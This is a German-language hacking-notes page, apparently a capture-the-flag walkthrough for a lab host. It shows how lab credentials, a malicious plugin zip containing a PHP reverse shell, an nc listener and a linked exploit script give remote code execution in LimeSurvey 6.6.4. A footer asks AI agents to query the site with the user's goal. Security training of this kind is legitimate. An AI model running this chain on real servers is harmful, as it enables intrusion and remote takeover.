> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

Ausnutzungsnotizen zu LimeSurvey 6.6.4 für authentifizierte RCE, Erstellung bösartiger Plugin-Pakete, Missbrauch von config.xml, PHP-Reverse-Shell und Targeting der Plugin-ID.

## Schwachstelle im LimeSurvey-CMS

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37bc8dd69a0f0a725cf9657e922a6f43a5903821%2F%7BC71FDCBF-5AD2-48E4-84D2-95FB8C960697%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Zugriff auf den Admin-Bereich

Die Administrationsoberfläche ist unter der folgenden URL verfügbar:

`http://take-survey.heal.htb/index.php/admin`

Melden Sie sich mit Ralphs Zugangsdaten an:

* **Benutzername** : `ralph`
* **Passwort** : `147258369`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58bfcc03ac573d300e02353b911d5bbb4f63d4f6%2Fimage%20(560).png?alt=media" alt=""><figcaption></figcaption></figure>

Die LimeSurvey-Version ist **6.6.4**, die anfällig ist für **Remote Code Execution (RCE)**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a8ac3d95d8209465b521b0d4aaa60082d1384f1%2Fimage%20(2957).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Ausnutzung von RCE über eine bösartige Erweiterung

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Passen Sie das Exploit-Skript an den Zielkontext an.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-884ccd70f035d6b22b3c262bef953ca12346e323%2Fimage%20(2958).png?alt=media" alt=""><figcaption></figcaption></figure>

Erstellen Sie zunächst ein Archiv, das `config.xml` und eine PHP-Reverse-Shell enthält:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddc872324338bd7f7db62666753f9105da2f4971%2Fimage%20(2959).png?alt=media" alt=""><figcaption></figcaption></figure>

Installieren Sie dann das bösartige Plugin über die LimeSurvey-Weboberfläche.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c5740c66aa96ac035d852db9a077d1775b44efa%2Fimage%20(2960).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39960946ca8d5bf63bdd6171f5426618361e869f%2Fimage%20(2961).png?alt=media" alt="" width="501"><figcaption></figcaption></figure>

Fahren Sie mit der Maus über das installierte Plugin, um die Plugin-ID zu ermitteln.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a042ca50d4056663f48461014ad05a3d35abd40%2Fimage%20(2962).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7df23ac4eb0fbf342046a6322a9ede3dbc46ae3%2Fimage%20(2963).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Nachdem Sie das Skript mit dieser ID aktualisiert haben, starten Sie einen Listener auf Port 443:

```bash
nc -nlvp 443
```

Führen Sie schließlich den Exploit mit Python aus:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1afc2b54aa7a9a27599eaa3b92e41e846f94d5f0%2Fimage%20(2964).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/cms/limesurvey-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
